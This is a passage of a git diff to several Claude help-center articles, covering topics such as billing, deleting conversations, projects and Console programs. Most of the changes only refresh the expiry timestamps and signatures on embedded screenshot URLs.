settings](https://support.claude.com/en/articles/8664678)**. diff --git a/content/support/15936181-get-started-with-1password-for-claude.md b/content/support/15936181-get-started-with-1password-for-claude.md index abf9f75067..41e7829830 100644 --- a/content/support/15936181-get-started-with-1password-for-claude.md +++ b/content/support/15936181-get-started-with-1password-for-claude.md @@ -52,7 +52,7 @@ Once the requirements are in place, you can set up 1Password from a few places i 4. Toggle on **Password managers**: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2546126596/ba71ca47e2df21cec62c243831f8/5b1c67e1-607d-4c73-8f61-d1ceb081082a?expires=1789501500&signature=df20f5294cd6d03fc39ffe159883467a119550a054831e672838ab605b844b86&req=diUjEMh8m4RWX%2FMW1HO4zU5lnmJrrcRmGkiu4hEpcPUcF1h8ErOnXR6bmIkV%0AhYFMqhdgi4jEouz7iKU%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2546126596/ba71ca47e2df21cec62c243831f8/5b1c67e1-607d-4c73-8f61-d1ceb081082a?expires=1789538400&signature=59be78955737a67d43be55513d267e5341758d3ea2ce62f80a3fd064c1875686&req=diUjEMh8m4RWX%2FMW1HO4zU5lnmJrrs1nGkiu4hEpcPWgixW85OuV1T%2BXJD%2Fn%0AVf0Vlv27fgp9RVW1Bbk%3D%0A) Once enabled, eligible users will see the discovery options above. Users still need to install and set up the required apps and extensions themselves. diff --git a/content/support/16607638-understanding-your-pro-or-max-plan-invoices.md b/content/support/16607638-understanding-your-pro-or-max-plan-invoices.md index 3921c31988..d9104711dd 100644 --- a/content/support/16607638-understanding-your-pro-or-max-plan-invoices.md +++ b/content/support/16607638-understanding-your-pro-or-max-plan-invoices.md @@ -40,7 +40,7 @@ You can also open any invoice from your account: **Amount due.** The invoice total minus any applied balance. This is what your payment method was charged. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2629072970/c514f489b65072ccad08e803864f/e8c7a7de-905f-4a40-815f-c9c66edcdbf6?expires=1789501500&signature=62b7e905b8d4a7e87bcec6a4968d8372c9658929c8cdd9bcef75aa54a150122d&req=diYlH8l5n4hYWfMW1HO4zdWraBg67lUbPZYKVlMiWEUSSGAKrRzIhIYdnVI%2B%0ATD7iU%2BNrR5oQXDfgMPU%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2629072970/c514f489b65072ccad08e803864f/e8c7a7de-905f-4a40-815f-c9c66edcdbf6?expires=1789538400&signature=f8a92997f934a436989293bf16d9f873aa12661c0ee0e6f9c7c107059dd698d4&req=diYlH8l5n4hYWfMW1HO4zdWraBg67VwaPZYKVlMiWEX9N60KsV0562dNmEbT%0AOBGWjM6iXLC4oujb6eM%3D%0A) ## Billing details on your invoice diff --git a/content/support/16764810-assign-a-program-to-workspaces-in-claude-console.md b/content/support/16764810-assign-a-program-to-workspaces-in-claude-console.md index 873414a715..5e0ad697ec 100644 --- a/content/support/16764810-assign-a-program-to-workspaces-in-claude-console.md +++ b/content/support/16764810-assign-a-program-to-workspaces-in-claude-console.md @@ -20,27 +20,27 @@ In the Console, programs are issued to your organization and apply to workspaces 1. **[Sign in to the Console](https://platform.claude.com/)** as an organization Admin. Go to **[Organization settings > Programs](https://platform.claude.com/settings/organization/programs)**. The program card shows whether it applies automatically or needs workspaces assigned. - ![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2642744587/d4584e035604f3b7c08afa53a1c6/ee1183ff-e591-4484-a989-1f754245d39c?expires=1789501500&signature=ca9b9d86e2d12bff01ff6c115ee4b6dcdbd1a7dc7431998b9c8a15a1a3116daa&req=diYjFM56mYRXXvMW1HO4zT%2FymECCFAiiktHcEoeKC4fcDILQmEMitVWh7USa%0Afq8D%0A) + ![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2642744587/d4584e035604f3b7c08afa53a1c6/ee1183ff-e591-4484-a989-1f754245d39c?expires=1789538400&signature=2d33161a137fdc711ec1dfb002ea794d6d81a69fa5dcdc30e9ebfe68294f191a&req=diYjFM56mYRXXvMW1HO4zT%2FymECCFwGjktHcEoeKC4cDY01o0YkRQwGaqu7i%0AYl%2FJ%0A) 2. Select the program to open its page. The **Workspaces** table shows each workspace's status. A workspace marked with an issue does not meet a requirement yet. - ![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2642745562/253e55a3292b35f728fb5dc89fb2/0878a8a9-dce5-4df2-9826-3796605b52a0?expires=1789501500&signature=f8ae58ae58ada649e09e5ce131527ee750f3bd0be25174087babff1316ddcc91&req=diYjFM56mIRZW%2FMW1HO4zc116gdtQFG0MCr%2B42fbmkZKR5ewKxOEoqa5W2Sg%0Arh0Y%0A) + ![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2642745562/253e55a3292b35f728fb5dc89fb2/0878a8a9-dce5-4df2-9826-3796605b52a0?expires=1789538400&signature=ab363eb33881fa2267ea1cbecbcd37d1a7cae70b1bb6c7ef9959d50032f93666&req=diYjFM56mIRZW%2FMW1HO4zc116gdtQ1i1MCr%2B42fbmkZQB7Mm7sYVk0%2FBRhhN%0Ayidh%0A) Hover over the issue to see which requirement is not met. - ![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2642746466/c49291119729e99f4dba8ec924e4/3f802c0e-7fbc-4e80-935a-05da58f65bde?expires=1789501500&signature=8970b02b8771ed6e0a459c586e7a7212883fbb6b631d01d33f27ba54fc83bf21&req=diYjFM56m4VZX%2FMW1HO4zaveae9nlnzFVPpeIJbmktRzDGyH4J6LueRKrPlE%0ACLQX%0A) + ![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2642746466/c49291119729e99f4dba8ec924e4/3f802c0e-7fbc-4e80-935a-05da58f65bde?expires=1789538400&signature=c32bec34cd5ff2bcbd9c774b4adeeba6597e7803abf4275936958194f1f86a69&req=diYjFM56m4VZX%2FMW1HO4zaveae9nlXXEVPpeIJbmktQp%2F4USBo2BBKLckhkb%0AXRTf%0A) 3. To give a workspace access, make it meet the requirements. Open the workspace, select "Manage," then "Programs," and check the **Qualifications** panel. - ![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2642768117/1304e6b1350fc9bd88c4238a00e3/db606eb5-39d5-4309-a5a9-ee33847fc233?expires=1789501500&signature=84ecc82081b9956c5401095e7bfe65fba420f2c0c14c9f79de41171c9816d079&req=diYjFM54lYBeXvMW1HO4zTU0lNKVK0dC9BWcjfiNKI1s%2FABOVA%2F2xkPI5w6c%0A4S9I%0A) + ![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2642768117/1304e6b1350fc9bd88c4238a00e3/db606eb5-39d5-4309-a5a9-ee33847fc233?expires=1789538400&signature=075e4825a46ca0f1e03bdc4ecaf79b0127639c1eccf1268aaaa571f46e2b9f04&req=diYjFM54lYBeXvMW1HO4zTU0lNKVKE5D9BWcjfiNKI39%2Brg7r7RYwanO%2Bh8b%0ApaF3%0A) 4. Fix the requirement. For the Cyber Verification Program, turn on data retention under Manage, then Privacy controls. Then select "Rerun." - ![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2642746995/87151a11687a9c631b7a9d681390/d40a6c12-283d-4b3b-b6d6-9f631a73e7c0?expires=1789501500&signature=e4435d9017b237567f27fe4a300662ca839ea064cc1c664b9b0d667463b8a7f5&req=diYjFM56m4hWXPMW1HO4zQfcHTKr738u9apHi%2BiM8ogo%2BJW%2BgfFmv0MkBEI3%0AE1iu%0A) + ![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2642746995/87151a11687a9c631b7a9d681390/d40a6c12-283d-4b3b-b6d6-9f631a73e7c0?expires=1789538400&signature=80cb5f83309b8ad8aae4151e678ed20905ea9f5e28342ebf87c8b61d6adce6f4&req=diYjFM56m4hWXPMW1HO4zQfcHTKr7HYv9apHi%2BiM8oiOyLSoZv%2FoidQAu%2Bqd%0AALNy%0A) 5. The program shows **Active** for the workspace. - ![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2642747200/a18bdccde474c9f4eba371cf6050/b0e9d5e3-1e5f-4f27-b682-5684084f92e8?expires=1789501500&signature=353eb2d5ec488989f3a3117a9a3854ce4e8615c03ff3dde5ea5eb7dd71916788&req=diYjFM56moNfWfMW1HO4zaUR8q9i9v89fTukdAE3MWsxi%2FFOPXZn8sADbqIU%0AAzb9%0A) + ![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2642747200/a18bdccde474c9f4eba371cf6050/b0e9d5e3-1e5f-4f27-b682-5684084f92e8?expires=1789538400&signature=83a283f8bb699e1a8b89594bf2f9f598a9a51dbb55beaf12cc13b8ce9fddb80e&req=diYjFM56moNfWfMW1HO4zaUR8q9i9fY8fTukdAE3MWsJd7XIKshvfaSp1E2P%0Ajzsb%0A) ## Troubleshooting diff --git a/content/support/8114491-get-started-with-claude.md b/content/support/8114491-get-started-with-claude.md index 3aa975419a..8d254aeffa 100644 --- a/content/support/8114491-get-started-with-claude.md +++ b/content/support/8114491-get-started-with-claude.md @@ -36,7 +36,7 @@ You use **prompts** to communicate with Claude. The best approach is to speak to Type your prompt into the chat interface and click the submit button to start a conversation with Claude. You can click the "+" button in the lower left or type "/" to view additional options and commands: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1916208578/2cf2ea52f1f884084b57983a8805/image.png?expires=1789501500&signature=e0a5483a2af08fa97b215e95386ec785eeb97b9eb03403a1fb19949126e68684&req=dSkmEMt%2BlYRYUfMW1HO4zV2J7SbPtIaE9crMELaMZPza4VmCkQUjLyazDyU8%0AuLC4VccN2FCvl78cEk8%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1916208578/2cf2ea52f1f884084b57983a8805/image.png?expires=1789538400&signature=f0479a9ceb3c02a53c000d3936c2c3f83cb48784af2a6355dd28586d5dd0ee36&req=dSkmEMt%2BlYRYUfMW1HO4zV2J7SbPt4%2BF9crMELaMZPyxhwdghJBlZznrQymA%0AdCFTbyRl1uW68G8l7dI%3D%0A) --- diff --git a/content/support/8230524-delete-or-rename-a-conversation.md b/content/support/8230524-delete-or-rename-a-conversation.md index 51e34973ca..ccc4ba2965 100644 --- a/content/support/8230524-delete-or-rename-a-conversation.md +++ b/content/support/8230524-delete-or-rename-a-conversation.md @@ -44,15 +44,15 @@ These steps apply to Claude for iOS, listed on the App Store as Claude by Anthro 4. If deleting, tap "Delete" again in the confirmation prompt. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2599501318/75c28edc693efbe8befd21e4da64/d18a921a-df4b-4788-833c-12c966a32527?expires=1789501500&signature=d3da8d5387f7b7d8b07b4d92888f59a8507e5d77c83a70ff23af974fe792fcb3&req=diUuH8x%2BnIJeUfMW1HO4zSc12adfiGGu1DBI29QsIlFbjCyY1%2BK5InIZ7%2Bc%2B%0AsqrqdJ5R45mOs7Iah2Q%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2599501318/75c28edc693efbe8befd21e4da64/d18a921a-df4b-4788-833c-12c966a32527?expires=1789538400&signature=5ee21f4c40c5eb3438123809c673f246c3238e19a8fed46051730451e9de3a88&req=diUuH8x%2BnIJeUfMW1HO4zSc12adfi2iv1DBI29QsIlGKei92Y3%2FFqxs1WWMH%0AO5TDdTKsdsRNB2JCu7c%3D%0A) -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2599493852/2e58b92d18f307bb79ae30650f26/1bbe52f3-202b-4d5d-9f9a-eeda4d6952c3?expires=1789501500&signature=faf95e822eca4a24ff7407e87f1b3102ea7ccc3e144938cc7337bfcee797ecab&req=diUuH813nolaW%2FMW1HO4zTjXMu6JLsHgj7blKEDtUI0NyOZF6jUoppJcQbhm%0AUUXqZSAxCUcQAa41fVc%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2599493852/2e58b92d18f307bb79ae30650f26/1bbe52f3-202b-4d5d-9f9a-eeda4d6952c3?expires=1789538400&signature=b2f62b6d1f01b10fd40d56199b63e05dad69c8763e5a80e4be306265e9ab0b93&req=diUuH813nolaW%2FMW1HO4zTjXMu6JLcjhj7blKEDtUI0jU%2BrwBnU1P3G66v97%0A9QvmHixkonFkULGPe5k%3D%0A) You can also delete the conversation you have open: tap the "⋯" button in the top right corner, tap "Delete," then confirm. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2599493848/997184c386d0e6fb0bd2d7c1f2b6/5d2bc394-25fc-4814-8c2a-2f54d004f83f?expires=1789501500&signature=f3b5675ee044a4e386e2be72685e62ec3d3e1e356b075e5498e508f54690f657&req=diUuH813nolbUfMW1HO4zVCIqpPKy91DzQl%2BKgU984xDej9jCX%2BKvPH6jIKI%0AOnvLU%2F2TFfumVeIX4nU%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2599493848/997184c386d0e6fb0bd2d7c1f2b6/5d2bc394-25fc-4814-8c2a-2f54d004f83f?expires=1789538400&signature=a79c23733a1a1cb505a63866b13a2f6d1cc91d48c27a4395004c8eb14d40ca0d&req=diUuH813nolbUfMW1HO4zVCIqpPKyNRCzQl%2BKgU984x9zHycGhcvNph8RqQl%0AK4DwxgWXc4Mfg1gE%2Br0%3D%0A) -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2599493856/799041da9fa918e90068c5ebf5bd/2e8d5cee-c45a-41d7-a14b-486e50a37f88?expires=1789501500&signature=85807a01a1708e97bba5112f62d9a44f22fa994a90916f24f26f222b53f5dde8&req=diUuH813nolaX%2FMW1HO4zVCl4AH30WRIEDIU8RT6jk2VGQSGmm%2B0VefMZ1HU%0Akt59nwy67kpliOXKvLc%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2599493856/799041da9fa918e90068c5ebf5bd/2e8d5cee-c45a-41d7-a14b-486e50a37f88?expires=1789538400&signature=af96a823ef439667643709bd36022eac5183d065933acb7226e3c65661727f16&req=diUuH813nolaX%2FMW1HO4zVCl4AH30m1JEDIU8RT6jk0aTQLb3igwVA76dbdp%0A8lgXSsNG8OEc0Fv9Kwo%3D%0A) ## Delete or rename a conversation on Claude for Android @@ -66,9 +66,9 @@ These steps apply to the Claude for Android, listed on Google Play as Claude by 3. If deleting, tap "Delete" again in the confirmation prompt. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2599493850/a64e6561222d535f2f5bd03e71f0/5de429c2-d8ed-4e8a-89e8-a13ccaa49767?expires=1789501500&signature=26c8f85f362c0607c4280a203be5beb8eaf507157e5f32e5911a51b22ab38eb3&req=diUuH813nolaWfMW1HO4zVTdd9spwlFwrqtc0YNNUtK0OUQX3i43ygqYUn49%0AfjCqN2qQ65MwKM6J8uA%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2599493850/a64e6561222d535f2f5bd03e71f0/5de429c2-d8ed-4e8a-89e8-a13ccaa49767?expires=1789538400&signature=04f0a1fb0244c207367ac14374ed642f2d8bc48d3a6ca04d1c9d195ec0db694d&req=diUuH813nolaWfMW1HO4zVTdd9spwVhxrqtc0YNNUtKzjzZ1qgZwa3rV8nJ5%0AyjHm9hc9Re3PeuyAzSU%3D%0A) -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2599493851/f21b39c60e88050d4b0745325f0d/0a8c0d08-dc53-4ef1-8d9f-2b995242c1f9?expires=1789501500&signature=f159ad93bbc463cdccc3ba09321d4b4971af0507877028cb6c2422c379f11b49&req=diUuH813nolaWPMW1HO4zUYvw1wOoj9Z%2FjekULCQNzV5XLwZETxFVZ%2Fk77LN%0ANsOA4du9Vg9bUiz3Qc0%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2599493851/f21b39c60e88050d4b0745325f0d/0a8c0d08-dc53-4ef1-8d9f-2b995242c1f9?expires=1789538400&signature=35ce6de02fb956c6f58c3734c663dfe3fc6adca2e9268f4421f6c490747b0fb9&req=diUuH813nolaWPMW1HO4zUYvw1wOoTZY%2FjekULCQNzV13cfq%2FPFgOBHiZNTJ%0AXWFibIoq5GHs2KnTvpQ%3D%0A) **To delete multiple conversations at once:** @@ -78,9 +78,9 @@ These steps apply to the Claude for Android, listed on Google Play as Claude by 3. Tap the trash icon, then tap "Delete" in the confirmation prompt. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2599493849/3013a0ab921337b4544f7ffeffa6/e828ec14-fb52-4205-a840-707b6f2a848d?expires=1789501500&signature=9a8d11320b73cc17ee18913250bbf7a88c690a3226361843462f8e8738dd33a2&req=diUuH813nolbUPMW1HO4zWGamM5xeoza4AqhTnZa84U0Op%2BQTF8B7QPpxc4P%0AIcvKRt85ZM6IqafIW%2BU%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2599493849/3013a0ab921337b4544f7ffeffa6/e828ec14-fb52-4205-a840-707b6f2a848d?expires=1789538400&signature=eece2a8ef1afd093647f6cd14ec0eacf83de17e7793e9c836f03a80bbd4913a9&req=diUuH813nolbUPMW1HO4zWGamM5xeYXb4AqhTnZa84U3wPMcKQEnDfM8tIno%0AvYXjgStQc4idCJShHJk%3D%0A) -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2599493853/e2507f53cce8a26776a22a457b1a/bd79bb8a-b078-420f-a4e1-75590367aa80?expires=1789501500&signature=b8e571c0b226a34b99da1925d560fe2b1ebaae58baed92b6e2c1873089d5aace&req=diUuH813nolaWvMW1HO4zQTtExz0xEE9SBGfF3I2bRggaT%2FDXmrUBThReevp%0AVEI1cFwtcUvsYY5YcxE%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2599493853/e2507f53cce8a26776a22a457b1a/bd79bb8a-b078-420f-a4e1-75590367aa80?expires=1789538400&signature=173ba87df9a1258e711bb6c083452ff033e9ff592ad616bdb84f41ed0e80d826&req=diUuH813nolaWvMW1HO4zQTtExz0x0g8SBGfF3I2bRjjeWTZQAL6wRDkaInm%0AHNNhy7w4zBVQSQc7Ajw%3D%0A) ## What happens when you delete a conversation diff --git a/content/support/8325618-paid-plan-billing-faqs.md b/content/support/8325618-paid-plan-billing-faqs.md index d2e7c4ffe7..41629cd6ab 100644 --- a/content/support/8325618-paid-plan-billing-faqs.md +++ b/content/support/8325618-paid-plan-billing-faqs.md @@ -50,7 +50,7 @@ There's no separate option to remove a card, and updating to a new card replaces If you want to use a name other than the one tied to your payment method, check the "Use a different name on invoices" box when adding or updating your payment method in **[Settings > Billing](https://claude.ai/settings/billing)**. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1922141785/666191101c11030b05f03a668a74/image.png?expires=1789501500&signature=3cae5f937833af19f26d10e15263c664b535e1b1379b6b32f9de56069ab591c4&req=dSklFMh6nIZXXPMW1HO4zVXW8GSuazLJQoNvNFTb5cdiPo8BM3mcInVRPQeo%0AJaOlC%2BxtW71Fbix8k1M%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1922141785/666191101c11030b05f03a668a74/image.png?expires=1789538400&signature=23b367d3e138f828c4dd595a2bd8a5b42e268987c557a5eff56da10a9b08125e&req=dSklFMh6nIZXXPMW1HO4zVXW8GSuaDvIQoNvNFTb5cdkABeD469wkoHIjwyS%0Ak3vmHbkksHlFV9lTESM%3D%0A) ## How can I edit a paid invoice? diff --git a/content/support/8887527-customizing-your-appearance-settings.md b/content/support/8887527-customizing-your-appearance-settings.md index 6de8d08672..2f3d5b652a 100644 --- a/content/support/8887527-customizing-your-appearance-settings.md +++ b/content/support/8887527-customizing-your-appearance-settings.md @@ -8,7 +8,7 @@ 3. Select from Light, Match System, and Dark under **Color mode**. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1648260417/d478c757c7115ad58a12026d4caf/AD_4nXc__Qop4X9hknWGfGj_y_DCpLutLruhxIclJIfir0ilsgNMg7X8ksIVnqk1Oce5FKlGIOYu9CKbVsu8DqD7iIY2aC0ZfXMyFTeAdNq-Cao2mXcj_WUpNF0kM2HoYR_dEx6N_cuJow?expires=1789501500&signature=04367524f93af0dd45dd26303c1e2e90abeebd3bd5d8cc7d785901dfe663571e&req=dSYjHst4nYVeXvMW1HO4zc2jJ6s4gIrhSBkgeTglJrqZfiezMedw3alNepS9%0A6BlhvMzub5f1UjbLMic%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1648260417/d478c757c7115ad58a12026d4caf/AD_4nXc__Qop4X9hknWGfGj_y_DCpLutLruhxIclJIfir0ilsgNMg7X8ksIVnqk1Oce5FKlGIOYu9CKbVsu8DqD7iIY2aC0ZfXMyFTeAdNq-Cao2mXcj_WUpNF0kM2HoYR_dEx6N_cuJow?expires=1789538400&signature=df2b5fec4806983cf3f78755420acb951b2cd47fe77be46d063a1f4f1932fabd&req=dSYjHst4nYVeXvMW1HO4zc2jJ6s4g4PgSBkgeTglJrr%2FXQUx67AjEkjmfyml%0AR4xE2YrhcK1K6PdeJV0%3D%0A) ## How to change your font @@ -16,10 +16,10 @@ 2. Select from Default, Match System, and Dyslexic Friendly. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1648260416/7fc0803d44d8de40f8e6636b2eb6/AD_4nXf0UEDa1i2QmqlQtoB5BgpQ-FfZVzss_7wMVQdvkmEDSfoTxixnG0GSxC6qrOs21HdkXH-I2Yn_GHDAf8yjd6FJtoh9FadALozvIErFp9r8LychDGLPb7OpN1CN4PRcgVAYNCre?expires=1789501500&signature=5dbd14e6d3e5ee5098bacd57cd729252c531f50eae0b6e08db5a6b875830060f&req=dSYjHst4nYVeX%2FMW1HO4zc8962ngXXA5QtNFlF5%2FHEdba52Bl18FE9f51OT5%0AkIcnWhsm6XjEzaf6Ksk%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1648260416/7fc0803d44d8de40f8e6636b2eb6/AD_4nXf0UEDa1i2QmqlQtoB5BgpQ-FfZVzss_7wMVQdvkmEDSfoTxixnG0GSxC6qrOs21HdkXH-I2Yn_GHDAf8yjd6FJtoh9FadALozvIErFp9r8LychDGLPb7OpN1CN4PRcgVAYNCre?expires=1789538400&signature=2e324c48c0fd09efecf838b6c241f0bf8b389d0305dd018f81d047f27036698c&req=dSYjHst4nYVeX%2FMW1HO4zc8962ngXnk4QtNFlF5%2FHEcCxAMi2s5K3VnSWl3L%0ARyRzNKxcMdDkIqv%2FdIE%3D%0A) ## Can I disable the sidebar? It's not currently possible to completely disable the sidebar. You can click the button on the top right of the sidebar to open or close it. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1941108004/5217903737ddd9bb62fe5d7a904c/CleanShot+2026-01-14+at+09_12_58.png?expires=1789501500&signature=04daad1aa4cdcc450b420561559552d245f45d8290775657828e73f640ddf941&req=dSkjF8h%2BlYFfXfMW1HO4zUS%2BB1bzWXrqylfYa7uDb9li5QVto2xSmQKlhkLR%0ALGZijZEDr3m37iPJTUI%3D%0A) \ No newline at end of file +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1941108004/5217903737ddd9bb62fe5d7a904c/CleanShot+2026-01-14+at+09_12_58.png?expires=1789538400&signature=47e599758eb1098dd4d359c7e6e911ae45bdc9bd73bb39b2b8f749222e8e2b1d&req=dSkjF8h%2BlYFfXfMW1HO4zUS%2BB1bzWnPrylfYa7uDb9ndi7ZEQXnEEfX2dA%2BB%0AM3MdAyTiY1YGSNFrKSQ%3D%0A) \ No newline at end of file diff --git a/content/support/9267400-move-your-personal-claude-account-to-a-team-or-enterprise-organization.md b/content/support/9267400-move-your-personal-claude-account-to-a-team-or-enterprise-organization.md index 532e56b4f4..b79df18ec7 100644 --- a/content/support/9267400-move-your-personal-claude-account-to-a-team-or-enterprise-organization.md +++ b/content/support/9267400-move-your-personal-claude-account-to-a-team-or-enterprise-organization.md @@ -126,7 +126,7 @@ For the full walkthrough of your options, deadlines, and what happens to your su You may have both a personal account and an organization account tied to the same email address. You can switch between them by clicking your initials or name in the lower left corner of the screen. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2312193347/712f763fc290b2488c103849f20c/0c135a6f-3442-4ee1-9ab7-98673f03ef6e?expires=1789501500&signature=76b52ab79b7a94a229c637c937ec85739b6848dd4ede3bb702265278876cff20&req=diMmFMh3noJbXvMW1HO4zXhPndkzyB5kufhmlOXMdYbPcKyA3uV%2B%2FH2vZ59%2B%0A4vX5NDqAZS6e0Xp9oyQ%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/2312193347/712f763fc290b2488c103849f20c/0c135a6f-3442-4ee1-9ab7-98673f03ef6e?expires=1789538400&signature=5c2e73ce46e4513adea3f62108f9e987e9d9158b9ad6a11abb35ec3d108b1844&req=diMmFMh3noJbXvMW1HO4zXhPndkzyxdlufhmlOXMdYYli1qLnli63Gy7VsmG%0AqFqyEdZeLRCOe76nB2k%3D%0A) A blue checkmark shows which account you're currently using. Click the other account to switch to it and access its separate conversations and projects. diff --git a/content/support/9519177-how-can-i-create-and-manage-projects.md b/content/support/9519177-how-can-i-create-and-manage-projects.md index a8021f38d9..68a6a0ab6e 100644 --- a/content/support/9519177-how-can-i-create-and-manage-projects.md +++ b/content/support/9519177-how-can-i-create-and-manage-projects.md @@ -104,15 +104,15 @@ Starring a project allows for quick access from your projects and chats list, vi You can move a standalone chat into a project by clicking on the dropdown arrow next to the chat name, then “Add to project”: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1784190248/0f19c8de18b494a27be252fdfaff/d4e7a5c5-25f5-4623-862b-c593d2dc0b39?expires=1789501500&signature=d759005667ede239306e58d20372efd1937211fe17fad246eea60d35416f6d54&req=dScvEsh3nYNbUfMW1HO4zQABaWhpSqEQBSXNVFXQ%2FVEcNkfmUim1xQxdrzfc%0A7AaBTClvTWv3qri%2FXXU%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1784190248/0f19c8de18b494a27be252fdfaff/d4e7a5c5-25f5-4623-862b-c593d2dc0b39?expires=1789538400&signature=75abf9291a711b313fee056aca034213e40d97776dc8fea10c1893015a5ad3d7&req=dScvEsh3nYNbUfMW1HO4zQABaWhpSagRBSXNVFXQ%2FVGuTr%2Bd8kZCmOlD5zNS%0AnRZXQ0Og1nBbvjLbu4o%3D%0A) Browse or search for the correct project in the **Move chat** modal that appears, then click on it to move the chat. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1784190951/34dc256ccd4c0cf74976f31062e6/55365cf2-059d-41b2-ac95-4b00c4389a76?expires=1789501500&signature=dfa133ff24c6c761005c369486e86caa5e10aeb8afa86e38c2fd19c260150c4c&req=dScvEsh3nYhaWPMW1HO4zSMECim1ywgEgYbpTjViBxByzhwtIswGirw9%2FeS%2F%0AplNP45PpfVf528pdzHA%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1784190951/34dc256ccd4c0cf74976f31062e6/55365cf2-059d-41b2-ac95-4b00c4389a76?expires=1789538400&signature=d8e62dab6b04ebfa69b1e3440ea7a716b0e432df13b755c89708d19531e9f2e9&req=dScvEsh3nYhaWPMW1HO4zSMECim1yAEFgYbpTjViBxBqN5cAVYydPLQF7H6a%0A6clL%2FsBmxk%2B4ePIcSIQ%3D%0A) You can also remove chats from projects, or move them between projects, using the same dropdown menu within the chat: -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1784185682/8625eac15b9fa452f148a6c47250/c53a1bc4-a991-4684-a789-5447ed789d35?expires=1789501500&signature=7339f47914061692b9b287950a7d8a32b570c1b71697379f6bbf6776ebce3ce8&req=dScvEsh2mIdXW%2FMW1HO4zb6DuP4pDkQPS2r1%2FGRlqOQ5Mnv30XAvOm%2B6pGew%0A%2Bgc4GSwxGlos%2BB8uIQQ%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1784185682/8625eac15b9fa452f148a6c47250/c53a1bc4-a991-4684-a789-5447ed789d35?expires=1789538400&signature=f65c8730a2434c9ce5862a9bfdfd858ccdd45760b3823b887f63ddf13ef33837&req=dScvEsh2mIdXW%2FMW1HO4zb6DuP4pDU0OS2r1%2FGRlqORuE%2F%2BkT6sBodp%2BstDZ%0AJkaqbalB89P2xGLyQrA%3D%0A) --- diff --git a/content/support/9519189-manage-project-visibility-and-sharing.md b/content/support/9519189-manage-project-visibility-and-sharing.md index b17a10b2da..8452786b13 100644 --- a/content/support/9519189-manage-project-visibility-and-sharing.md +++ b/content/support/9519189-manage-project-visibility-and-sharing.md @@ -12,7 +12,7 @@ When creating a project on a Team or Enterprise plan, you can choose between two - **Private:** Only invited members can view and use the project. -![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1740370991/2b6b16e5deff094e073a5b4bb0ea/63197103-24c0-41e5-aebd-9b8f431837bb?expires=1789501500&signature=3040ccaccb3d30595eeb04158a6e923d35d714074a6f3d053ae7a39698bbb689&req=dScjFsp5nYhWWPMW1HO4zd3a2VUhJI%2BiHK95%2FTFaPymvZEtbM3EXAO%2B450WT%0Ac%2BiiTL29cmkq428nua8%3D%0A) +![](https://downloads.intercomcdn.com/i/o/lupk8zyo/1740370991/2b6b16e5deff094e073a5b4bb0ea/63197103-24c0-41e5-aebd-9b8f431837bb?expires=1789538400&signature=d5fd67d040e04429740f9781ebc2d2c9ef14775a7666235fd53d149979a7b004&req=dScjFsp5nYhWWPMW1HO4zd3a2VUhJ4ajHK95%2FTFaPymb1N6h5Y9lTWGsxtbw%0AncsK%2FtHKS1dJJlOnAWk%3D%0A) ## What are public projects? @@ -22,11 +22,11 @@ If you choose to share a project with the rest of your organization upon creatio Yes, you can switch the visibility of a project you created as public to private at any time by opening the project and clicking the “Share” button to the right of the project name: 